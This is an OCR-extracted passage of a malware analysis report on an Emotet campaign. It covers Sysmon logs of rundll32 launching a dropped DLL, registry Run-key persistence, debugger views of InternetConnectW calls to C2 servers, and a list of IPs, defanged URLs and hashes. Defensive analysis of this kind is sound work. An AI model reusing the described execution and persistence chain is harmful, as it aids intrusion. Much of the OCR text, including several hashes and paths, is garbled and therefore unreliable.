Microsoft® Windows ® Opersting Syitem
[Microsoft Corporation

RUNDLLIZ.EXE

A\ Windows\SysWOWESrundil32. exe "Ci\Users\user\ AgpData’ Local Taniuze \kbpdr.rie”, brEyqdn
(CUzers\user\Dacurments),

[DESKTOR- SKVHRD Tuser
EV_RenderedValue_13.00

186508

1

[ Medium

MDS: TCSE485 79, SHAZ 56= 6C BECE | FOMEE 3B298F AZ6FBR36228 1 D2DDATERIE T18551 DSES6F22C CIEDIT 10, IMPHASH= 3086048458281 25B0ABCATASBSD12B34
EV_RenderedValue_18.00

4500

I\ Windows\Sys WOWSSrundii32 exe

CAWIndews\ Sys WOWSS rundliZ2.exe “C! gl CWERLAII,

[ The description for Event 1D 1 from scurce Microsoft-Windows-Sysmon cannct be found. Either the component that raises this event is not installed on your local computer or the installation is comrupted. You can install or repair the ~

Figure 22: Again, arbitrary arguments is used to trigger and run the new malicious DLL

[Everit 1, Micreseft-Windews-Sysmen

General  Details

The description for Event ID 1 from source Microsoft-Windews-Sysmon cannct be found. Either the component that raises this event is not installed on your local computer or the installation is comupted. You can install or repair the
compenent on the local computer.

i the esent ariginsted an another computer, the display information had te be taved with the svent.

The fallowing infermation was incheded with the event:

[ 2022-01-28 08:34:54.296

EV_RendenedValue_2.00

3e4

CAWiIndows\SysWOWEAmundlii2.ece

10,0.1504 1.746 (WinBuild. 160101.0800)

Windows host process (Rundil32)

Microsoft® Windews ® Operating System

Microsoft Corporation

RUNDLL3Z EXE

CAWindows\SysWOWEP undil32.ece *C\Uisers\user\ AppData\L ocalTemiuzd\ kbpfr.te” DiiRegisterSencer
£\ Users\ user,Documnents),

(DESKTOR-SKVHRD user

EV_RenderedValue_13.00

146509

1
Medium

MD5= BE5BF9C S2A 0004322 TC SEATSAN66TS, SHA2 56= 6CBEDE 1F0458138258F A2EFEE ATEBSET! 2CC3ENH0 = 308EDAAASEIE1 23B0ABCATABSD1 2B2A
EV_RendenedValue_18.00

6408

CAWIndows\ SysWOWEN undl32.exe

A Windews\SysWOWENundll32.exe *C\Users\user A ppData\L ocal Teniuz\ kbpfr.rte” beEygdn

Figure 23 : New malware with persistence at boot start-up executing DIIRegisterServer

At this point, the malware is well set up and hidden in a new path and persistence. It will run

every time the current user is booting up their machine.

Command and Control

During investigation, the communication with the C2 server was captured by Sysmon log
activity via port 8080.
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Event 3, Microsoft-Windows-Sysmon ®

General  Details

The description for Event ID 3 from source Microsoft-Windows-Sysmon cannot be found. Either the com ponent that raises this event is not installed on your local computer or the installation is
comupted. You can install or repair the component on the local computer.

If the event oniginated on anather computer, the display information had to be saved with the event.

The following information was included with the event:

2021-08-17 07:50:00.189
EV_RenderedValue_2.00

7012

CAWindowsh SysWOWBS\ undll32.exe
DESKTOP-5KVHRD3\user

tep

True

False

192.168.80.236
DESKTOP-5KVHRD3 localdomain
49883

False

159.69.43.124

static. 124.43.69.159.clients.your-server.de
B0A0

The message resource is present but the message was not found in the message table

Figure 24 : Malware communicating with C2 Server of 159.69.43.124:8080

The TCP connection is initiated to 159.69.43.124 through 8080 port of the server right after
the DLL was executed. According to the Sysmon log, the domain name resolved to this IP is
clients.your-server.de.

\

1 2 (1) 12 security vendors flagged this [P address as malicious

e 1506043124 (159

DETECTION DETAILS RELATIONS COMMUNITY o

Collections
‘g-"—;g Emotet Collection Domains: 10 | Files: 78708 | IPs: 172 | URLs: 493
=
E-i by ThreatFox

~am Emotet Collection Domains: 5 | Files: 1065 | IPs 274 | URLs: 3

i

E— by CarlosCabal
Contained In Graphs

n gearracelas attachWWit

Figure 25 : Virustotal intelligence confirmed that the IP is used for Emotet Command &
Control server

The malware uses Windows API InternetConnectW to create the connection to the C2
server. As you can see in the following figure, the malware creates the first connection to the
IP address 159.69.43.124 via 8080 port, the same as detected in the Sysmon log.
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BLIERLGS BBAS 38 mov eax,dword ptr ss:[ebp-35] ~ Hide FPU
B4ZE0188] BB&S FC moy eax,dword ptr ss:febp-4f)

Q42E016E EB JEICEEEE eall 420209F :sx BRASEFTR <wininet.InternetConnectw>  *
BL2ERLTO 83C4 10 wdd—eapt [2 :m
042E0173 53 push ebx dwContext EDX  2C690900
Q42E01T4 53 push ebx dwFlags EBB 0269780
OLIEDLTS FF75 30 push dword ptr ss:[ebp-3e] dwService ESP  O2GIFTAC
QLZERLTE 53 push ebx lpszPassword ESI oORO1FID
BL2EQLTY 53 push ebx pszUserName EDI  QRCCO00%
O42EQ1TA| 56 push esi nServerfort (804a)
ebps20] EIP  OL2ERITEF
QLIEQLTE 57 push edi RInternet
o FFDR call eax InternetConnect EFLAGS 0090300
042ER1EL SE TP wuT IFO PFO AF O
042E0182 SE pop esi Connection fo C2 server on port 8080 OF @ SF O OF @
B4IEQ1E3 5B pop ebx CFd TF1 IF1
oEa1EA Soes povgsst LastE D0000B00 ([ ERROR_SUCCESS)
042EQ187 3 ret < Ed
042E0188] 58 push ebp SIF G
042EQ189 BBEC mov ebp,esp h:u:.“] QOCCRRDL t Dmf
042ZEQ15E] B3EC 14 sub esp,l1s = 41 BTOT96
O42EQIBE 56 push esi . DesprB] 2
O4IEQIEF FFT5 58 push dword ptr ss:febpr5a] i E:::::} :m:
Q42ER192 33FE xor esi,esi 5: [espr10] DOBIOO0D
aniEaten FETR 8L naich dwnrd ntr ccoBahnesull b b P
< >

fword ptr ss:[ebp+20)=[0269FT0Q BL159.60.43.1247 02970968 L7159.69.43.1247

M2EQITE
Poeol  Eoee?  ES0we)  Soued  BH0wet B weh  elas ' ona

DIEIFTT0| 02970968 | L7159.69.43.1247
D2EIFTTE | VOVIFHE
DIEIFTTE | 00000000
VIEIFTTC | 00000000
avsocren | AaBsanRT

Figure 26 : Malware connection to first C2 server, 159.69.43.124
Observing the behavior in the debugger resulting us to discover the second C2 connection.
The communication was made to the different IP address which is 45.79.80.198 on port 443.

2970978\ 33 00 2E 00|31 00 32 0034 00 00 00|00 00 O 09|3...1.2.
2970986 |00 00 00 00|00 00 00 00|00 00 00 00|00 00 00 00

M oIl e« P 1FCA - Thasact M Theead 2084 « 2 120g [Bievated] - 8 =
P Ven Dwbug Trece Pugre  Pevoute  Ogors  Mee Sug bR

cos+u taws talisrhn unl®

Bow G e 8 bk M St M otew Bl heta O O e W Teek B (T 6 S

[THi T FAT 8 Tow wax,Bwora pir sstfebps 5] = Wide FPU
esreeacss|  4BA% BC mov eax dword pir snifevp-s A
periggen| €8 JEICFEFE call s e EAX  eecceoes -}
[TF] #3410 add w3p, 10 C5 Lot edblye
3 h ebx dtontext g2 sasanaee bl
i = = X 92510000 T
53 push ebx duflags 3499780
FETS 38 push dword prre ss:fobpe 18] dwservice ESP  @2E9FTAC
3 puth ebx 1psrPasswrd EST  S8dd01BE L'a”
53 push ebx Lpsruseraams EDI  CCO004
5% push esl nServerport
FETS 20 push dword pir ssifebpeao] 1psrServerians EIP 94260081
57 push edi hinteraet
EFLAGS 00000244
1ML AR

OF @ SFR DF @

Connect fo second C2 server 45.75.80.108:443 CF® TEO IF1

pop wbp LastErrer (0000000 (ERRDR_SUCCESS)

il | LhsRStatiL CO000OTC (STATYS WO TOmiN) g
push ebp -
amsc mov abp,e5p Lo 5 T3]0 wmcctas
e 18 Sub wsp, 16 1% [espra] 02860388 =
% push esi
FF75 58 push dword ptr ss:fenpese] 3t [espec] Q0g4E0R
foatd uar wil el 4 [espe10] DOAEDDCH
FF73. 34 push dword ptr ss:febpssa] | |37 [#spr1a] venoosos

e | et
C To0| 0680040

7on | HIIAO000
T [ 0265FTaE| SAL0EDR
0FSTENR i e

0| SRALDOCH

12| e09a0000
BFOTEMR 1

45| S00M104F
ATIEMA ]
OITEIT e
VIFTEID

04 TEMMP0) return to BATENASD frosm Da7E0DMY .
2ERFRFE . -

i
Commrts| =

Figure 27 : Malware making second connection to another C2 server, 45.79.80.198
Initiating the request of the connection will create the connection as Netbytesec malware
analyst observe the network behaviour and step over the HttpSendRequest function.
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83C4 34
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eaxs<wininet .HttpSendRequestu>
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02976350 |00
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Conclusion

Figure 28 : Malwareusmg HttpSendRequést
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GOASAFAD
BX 00000000
L% V0000025 kS
DX 00000003
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LastError 00000000 (ERROR_SUCCESS)

Ctack {macar) =[5 100 umeckes

1: [esp] 0OCCOD0C

21 [esped] 02985140
3: [esprB] FFFFFFFF
41 [esp+C] O0DODODY
51 [esp+10] 20000000

function

<wininet.NttpsendReque * ||

SERERRELfESALRE

BEd

FENEsExEE

g

ER Y

. Remate sddres

B1078- TR member linose...

2197718

Frm|

a1

The attacker sends email to the targeted victims by spoofing their display name to a
legitimate name. However, the email displays still stays the same, which is the original email
of the Emotet campaign agent. For this specific case, the attacker sent an email to one of the

target using hijacked email thread. In the email is attached an excel file titled

‘untitled_176399.xIs ’. The content of their email contains a malicious script that will execute
mshta binary in order to download and execute the next malicious payload from

91.240.118.168.

The executed malicious payload will download a PNG file from the same IP containing
Powershell payload that will download malicious DLL from one of the domains, save it at
C./ProgramData with name QWER.DLL. Afet that, it will execute Rundll32.exe to run
QWER.DLL with an arbitrary argument. The execution of QWER.DLL with arbitrary argument
served as the trigger for the next execution of QWER.DLL with specific argument of
DlIRegisterServer which is the real entrypoint of the DLL.

The malicious DLL will duplicate itself to a new arbitrary path in C./<Users>/AppData/Local/

with new arbitrary name and arbitrary arguments and register itself in
HKCU\Software\Microsoft\Windows\CurrentVersion\Run in Windows registry. As a result, the

malicious DLL will be persistent and will be executed every time the user boots up their
machine. The persistence malware will communicate with the C2 server at 159.69.43.124

through the port 8080.

Indicator of Compromises

IP address
e 91.240.118[.]168


https://blogger.googleusercontent.com/img/a/AVvXsEg6dfpqFI8OCdhrHF5KKAp0EGdsC6DViitKd_zaBZwFbTXMrC-2jU0b6EJzl94KAU6rlWdLoCbPMrQpEM0uEmxe1MBgm7wcxDJV6cYA8h0Ml6-ngTX-HXpQB9qSpIQI0aqA8YmtnRiLCsdfB_MqCcXrJwUgR_YnQA41H8CrvRn-Aw9poqqyWDHeBPNm=s1037

e 159.69.43[.]124:8080 (C2 Servers)
e 45.79.80[.]198 (C2 Servers)

Domains

 http://91.240.118[.]168/00/aa/se.html
http://91.240.118[.]168/00/aal/se.png

e http:/farmmash[.Jcom/edh2fa/g2Q7Qbgs/
 http://karensgardentips[.]Jcom/cgi-bin/hfpv/

e http://centrobilinguelospinos[.Jcom/wp-admin/w8528qgkQnMPLDUc/
e http://unitedhorus[.Jcom/wp-content/m3oxVSV2uYW2rbh/

e http://vidispatch[.]Jcom/licenses/JE6OI2dfhrk/
 http://il-piccolo-principe[.]Jcom/wp-content/Ua9GvD7acXnDz/
e http://hardstonecap[.Jcom/well-known/ps9kNMgc6/

e http://3-fasen[.Jcom/wp-content/3BIOhBbW/
 http://baldcover|[.Jcom/wp-admin/oORwWkRUWpbJ55/

Hash

o 25995b47257212e2e3ca5f7704c9e830 (untitled_176399.xls)
e 9bf1102cd38dc1364f54407bb4cb2a (se.html)

» 63f0672552a000605€99190036e9676f (se.png)

e 74bb69b8ba9d2b649f4deSadb2cf06d9 (QWER.DLL)

Full report can be seen here
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